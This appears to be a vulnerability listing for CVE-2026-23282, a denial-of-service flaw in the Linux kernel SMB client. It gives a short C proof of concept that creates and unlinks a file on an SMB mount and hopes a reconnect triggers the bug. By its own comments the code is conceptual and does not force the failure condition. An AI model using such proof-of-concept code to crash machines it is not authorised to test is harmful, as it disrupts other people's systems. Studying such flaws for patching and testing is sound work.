CVE-2026-23282 Linux内核SMB客户端拒绝服务漏洞

#include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-23282 * This is a conceptual demonstration. Triggering the bug requires a specific * environment (Linux kernel with the vulnerability) and a condition where * SMB2_open_init or SMB2_close_init fails (e.g., during a reconnect). */ int main() { const char* file_path = "/mnt/smb_share/test_file.txt"; int fd; // Create a file on the mounted SMB share fd = open(file_path, O_CREAT | O_RDWR, 0644); if (fd < 0) { perror("Failed to create file"); return 1; } close(fd); printf("File created. Attempting to unlink...\n"); // In a vulnerable scenario, if the SMB connection is unstable // or forced to reconnect here, the unlink operation might // trigger the uninitialized variable bug in smb2_unlink(). if (unlink(file_path) != 0) { perror("Unlink failed"); } else { printf("File unlinked.\n"); } return 0; }